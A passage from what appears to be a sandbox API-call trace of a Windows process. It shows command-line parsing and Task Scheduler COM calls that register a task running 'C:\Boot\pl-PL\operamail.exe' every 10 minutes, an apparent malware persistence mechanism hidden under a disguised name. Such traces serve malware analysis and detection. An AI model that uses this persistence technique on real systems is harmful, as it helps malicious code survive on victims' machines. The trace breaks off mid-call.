(lpString="|mo|") returned 4 [0135.426] lstrlenW (lpString="|f|") returned 3 [0135.426] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0135.426] SetLastError (dwErrCode=0x490) [0135.426] lstrlenW (lpString="d") returned 1 [0135.426] lstrlenW (lpString="d") returned 1 [0135.426] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.426] lstrlenW (lpString="f") returned 1 [0135.427] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.427] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|d|") returned 3 [0135.427] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.427] lstrlenW (lpString="|d|") returned 3 [0135.427] lstrlenW (lpString="|f|") returned 3 [0135.427] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0135.427] SetLastError (dwErrCode=0x490) [0135.427] lstrlenW (lpString="m") returned 1 [0135.427] lstrlenW (lpString="m") returned 1 [0135.427] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.427] lstrlenW (lpString="f") returned 1 [0135.427] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.427] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|m|") returned 3 [0135.427] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.427] lstrlenW (lpString="|m|") returned 3 [0135.427] lstrlenW (lpString="|f|") returned 3 [0135.427] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0135.427] SetLastError (dwErrCode=0x490) [0135.427] lstrlenW (lpString="i") returned 1 [0135.427] lstrlenW (lpString="i") returned 1 [0135.427] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.427] lstrlenW (lpString="f") returned 1 [0135.427] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.427] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|i|") returned 3 [0135.427] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.427] lstrlenW (lpString="|i|") returned 3 [0135.428] lstrlenW (lpString="|f|") returned 3 [0135.428] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0135.428] SetLastError (dwErrCode=0x490) [0135.428] lstrlenW (lpString="tn") returned 2 [0135.428] lstrlenW (lpString="tn") returned 2 [0135.428] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.428] lstrlenW (lpString="f") returned 1 [0135.428] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.428] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.428] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.428] lstrlenW (lpString="|tn|") returned 4 [0135.428] lstrlenW (lpString="|f|") returned 3 [0135.428] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0135.428] SetLastError (dwErrCode=0x490) [0135.428] lstrlenW (lpString="tr") returned 2 [0135.428] lstrlenW (lpString="tr") returned 2 [0135.428] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.428] lstrlenW (lpString="f") returned 1 [0135.428] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.428] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.428] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.428] lstrlenW (lpString="|tr|") returned 4 [0135.428] lstrlenW (lpString="|f|") returned 3 [0135.428] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0135.428] SetLastError (dwErrCode=0x490) [0135.428] lstrlenW (lpString="st") returned 2 [0135.428] lstrlenW (lpString="st") returned 2 [0135.429] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.429] lstrlenW (lpString="f") returned 1 [0135.429] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.429] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|st|") returned 4 [0135.429] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.429] lstrlenW (lpString="|st|") returned 4 [0135.429] lstrlenW (lpString="|f|") returned 3 [0135.429] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0135.429] SetLastError (dwErrCode=0x490) [0135.429] lstrlenW (lpString="sd") returned 2 [0135.429] lstrlenW (lpString="sd") returned 2 [0135.429] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.429] lstrlenW (lpString="f") returned 1 [0135.429] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.429] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sd|") returned 4 [0135.429] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.429] lstrlenW (lpString="|sd|") returned 4 [0135.429] lstrlenW (lpString="|f|") returned 3 [0135.429] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0135.429] SetLastError (dwErrCode=0x490) [0135.429] lstrlenW (lpString="ed") returned 2 [0135.429] lstrlenW (lpString="ed") returned 2 [0135.429] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.429] lstrlenW (lpString="f") returned 1 [0135.429] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.430] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|ed|") returned 4 [0135.430] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.430] lstrlenW (lpString="|ed|") returned 4 [0135.430] lstrlenW (lpString="|f|") returned 3 [0135.430] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0135.430] SetLastError (dwErrCode=0x490) [0135.430] lstrlenW (lpString="it") returned 2 [0135.430] lstrlenW (lpString="it") returned 2 [0135.430] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.430] lstrlenW (lpString="f") returned 1 [0135.430] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.430] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|it|") returned 4 [0135.430] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.430] lstrlenW (lpString="|it|") returned 4 [0135.430] lstrlenW (lpString="|f|") returned 3 [0135.430] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0135.430] SetLastError (dwErrCode=0x490) [0135.430] lstrlenW (lpString="et") returned 2 [0135.430] lstrlenW (lpString="et") returned 2 [0135.430] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.430] lstrlenW (lpString="f") returned 1 [0135.430] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.430] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|et|") returned 4 [0135.430] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.430] lstrlenW (lpString="|et|") returned 4 [0135.430] lstrlenW (lpString="|f|") returned 3 [0135.431] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0135.431] SetLastError (dwErrCode=0x490) [0135.431] lstrlenW (lpString="k") returned 1 [0135.431] lstrlenW (lpString="k") returned 1 [0135.431] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.431] lstrlenW (lpString="f") returned 1 [0135.431] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.431] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|k|") returned 3 [0135.431] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.431] lstrlenW (lpString="|k|") returned 3 [0135.431] lstrlenW (lpString="|f|") returned 3 [0135.431] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0135.431] SetLastError (dwErrCode=0x490) [0135.431] lstrlenW (lpString="du") returned 2 [0135.431] lstrlenW (lpString="du") returned 2 [0135.431] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.431] lstrlenW (lpString="f") returned 1 [0135.431] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.453] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|du|") returned 4 [0135.453] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.453] lstrlenW (lpString="|du|") returned 4 [0135.453] lstrlenW (lpString="|f|") returned 3 [0135.453] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0135.453] SetLastError (dwErrCode=0x490) [0135.453] lstrlenW (lpString="ri") returned 2 [0135.453] lstrlenW (lpString="ri") returned 2 [0135.453] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.453] lstrlenW (lpString="f") returned 1 [0135.453] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.453] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|ri|") returned 4 [0135.453] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.453] lstrlenW (lpString="|ri|") returned 4 [0135.454] lstrlenW (lpString="|f|") returned 3 [0135.454] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0135.454] SetLastError (dwErrCode=0x490) [0135.454] lstrlenW (lpString="z") returned 1 [0135.454] lstrlenW (lpString="z") returned 1 [0135.454] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.454] lstrlenW (lpString="f") returned 1 [0135.454] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.454] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|z|") returned 3 [0135.454] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.454] lstrlenW (lpString="|z|") returned 3 [0135.454] lstrlenW (lpString="|f|") returned 3 [0135.454] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0135.454] SetLastError (dwErrCode=0x490) [0135.454] lstrlenW (lpString="f") returned 1 [0135.454] lstrlenW (lpString="f") returned 1 [0135.454] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.454] lstrlenW (lpString="f") returned 1 [0135.454] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.454] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.454] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.454] lstrlenW (lpString="|f|") returned 3 [0135.454] lstrlenW (lpString="|f|") returned 3 [0135.454] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0135.454] SetLastError (dwErrCode=0x0) [0135.454] SetLastError (dwErrCode=0x0) [0135.455] GetProcessHeap () returned 0x60000 [0135.455] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ccc0 [0135.455] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.455] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0135.455] lstrlenW (lpString="MINUTE") returned 6 [0135.455] GetProcessHeap () returned 0x60000 [0135.455] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d550 [0135.455] GetThreadLocale () returned 0x409 [0135.455] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0135.455] SetLastError (dwErrCode=0x0) [0135.455] GetProcessHeap () returned 0x60000 [0135.455] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x1fc) returned 0x7c220 [0135.455] GetProcessHeap () returned 0x60000 [0135.455] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc90 [0135.455] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.455] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0135.455] lstrlenW (lpString="First") returned 5 [0135.455] GetProcessHeap () returned 0x60000 [0135.455] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d570 [0135.455] GetProcessHeap () returned 0x60000 [0135.455] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc60 [0135.455] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.455] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0135.455] lstrlenW (lpString="Second") returned 6 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d590 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc30 [0135.456] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.456] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0135.456] lstrlenW (lpString="Third") returned 5 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d5b0 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc00 [0135.456] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.456] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0135.456] lstrlenW (lpString="Fourth") returned 6 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d5d0 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cbd0 [0135.456] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.456] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0135.456] lstrlenW (lpString="Last") returned 4 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa) returned 0x7d5f0 [0135.456] lstrlenW (lpString="10") returned 2 [0135.456] _wtol (_String="10") returned 10 [0135.456] GetProcessHeap () returned 0x60000 [0135.456] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cba0 [0135.456] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.457] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0135.457] lstrlenW (lpString="First") returned 5 [0135.457] GetProcessHeap () returned 0x60000 [0135.457] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d610 [0135.457] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.457] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0135.457] lstrlenW (lpString="Second") returned 6 [0135.457] GetProcessHeap () returned 0x60000 [0135.457] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d630 [0135.457] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.457] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0135.457] lstrlenW (lpString="Third") returned 5 [0135.457] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.457] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0135.457] lstrlenW (lpString="Fourth") returned 6 [0135.457] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.457] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0135.457] lstrlenW (lpString="Last") returned 4 [0135.457] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c0a0, cchData=128 | out: lpLCData="0") returned 2 [0135.457] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.457] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0135.457] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0135.457] GetProcessHeap () returned 0x60000 [0135.458] GetProcessHeap () returned 0x60000 [0135.458] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d570) returned 1 [0135.458] GetProcessHeap () returned 0x60000 [0135.458] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d570) returned 0xc [0135.458] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d570 | out: hHeap=0x60000) returned 1 [0135.458] GetProcessHeap () returned 0x60000 [0135.458] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d570 [0135.458] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c0c0, cchData=128 | out: lpLCData="0") returned 2 [0135.458] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.458] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0135.458] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0135.458] GetProcessHeap () returned 0x60000 [0135.458] GetProcessHeap () returned 0x60000 [0135.458] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d590) returned 1 [0135.458] GetProcessHeap () returned 0x60000 [0135.458] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d590) returned 0xe [0135.458] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d590 | out: hHeap=0x60000) returned 1 [0135.458] GetProcessHeap () returned 0x60000 [0135.458] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d590 [0135.458] GetLocalTime (in: lpSystemTime=0x23c2f0 | out: lpSystemTime=0x23c2f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3b, wMilliseconds=0x166)) [0135.458] lstrlenW (lpString="") returned 0 [0135.458] GetLocalTime (in: lpSystemTime=0x23cba8 | out: lpSystemTime=0x23cba8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3b, wMilliseconds=0x166)) [0135.458] lstrlenW (lpString="") returned 0 [0135.459] lstrlenW (lpString="") returned 0 [0135.459] lstrlenW (lpString="") returned 0 [0135.459] lstrlenW (lpString="") returned 0 [0135.459] lstrlenW (lpString="10") returned 2 [0135.459] _wtol (_String="10") returned 10 [0135.459] lstrlenW (lpString="") returned 0 [0135.459] lstrlenW (lpString="") returned 0 [0135.459] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0135.483] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0135.554] CoCreateInstance (in: rclsid=0xffeb1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffeb1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x23c970 | out: ppv=0x23c970*=0x3c7990) returned 0x0 [0135.567] TaskScheduler:ITaskService:Connect (This=0x3c7990, serverName=0x23ca50*(varType=0x8, wReserved1=0x23, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x23ca10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x23ca30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23c9f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0135.673] TaskScheduler:IUnknown:AddRef (This=0x3c7990) returned 0x2 [0135.673] TaskScheduler:ITaskService:GetFolder (in: This=0x3c7990, Path=0x0, ppFolder=0x23cb08 | out: ppFolder=0x23cb08*=0x3c7bc0) returned 0x0 [0135.677] TaskScheduler:ITaskService:NewTask (in: This=0x3c7990, flags=0x0, ppDefinition=0x23cb00 | out: ppDefinition=0x23cb00*=0x3c7c10) returned 0x0 [0135.677] ITaskDefinition:get_Actions (in: This=0x3c7c10, ppActions=0x23ca80 | out: ppActions=0x23ca80*=0x3c7cd0) returned 0x0 [0135.677] IActionCollection:Create (in: This=0x3c7cd0, Type=0, ppAction=0x23caa0 | out: ppAction=0x23caa0*=0x3c6060) returned 0x0 [0135.678] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.678] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.678] lstrlenW (lpString=" ") returned 1 [0135.678] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0135.678] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0135.679] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0135.679] IUnknown:Release (This=0x3c6060) returned 0x1 [0135.679] IUnknown:Release (This=0x3c7cd0) returned 0x1 [0135.679] ITaskDefinition:get_Triggers (in: This=0x3c7c10, ppTriggers=0x23c600 | out: ppTriggers=0x23c600*=0x3c7e10) returned 0x0 [0135.679] ITriggerCollection:Create (in: This=0x3c7e10, Type=1, ppTrigger=0x23c5f8 | out: ppTrigger=0x23c5f8*=0x3c60d0) returned 0x0 [0135.679] lstrlenW (lpString="10") returned 2 [0135.680] _vsnwprintf (in: _Buffer=0x23c580, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x23c578 | out: _Buffer="PT10M") returned 5 [0135.680] ITrigger:get_Repetition (in: This=0x3c60d0, ppRepeat=0x23c5f0 | out: ppRepeat=0x23c5f0*=0x3c6160) returned 0x0 [0135.680] IRepetitionPattern:put_Interval (This=0x3c6160, Interval="PT10M") returned 0x0 [0135.680] IUnknown:Release (This=0x3c6160) returned 0x1 [0135.680] _vsnwprintf (in: _Buffer=0x23c540, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x23c518 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0135.680] ITrigger:put_StartBoundary (This=0x3c60d0, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0135.680] lstrlenW (lpString="") returned 0 [0135.680] lstrlenW (lpString="") returned 0 [0135.680] lstrlenW (lpString="") returned 0 [0135.680] lstrlenW (lpString="") returned 0 [0135.680] IUnknown:Release (This=0x3c60d0) returned 0x1 [0135.680] IUnknown:Release (This=0x3c7e10) returned 0x1 [0135.680] ITaskDefinition:get_Settings (in: This=0x3c7c10, ppSettings=0x23caa0 | out: ppSettings=0x23caa0*=0x3c7e80) returned 0x0 [0135.681] lstrlenW (lpString="") returned 0 [0135.681] IUnknown:Release (This=0x3c7e80) returned 0x1 [0135.681] GetLocalTime (in: 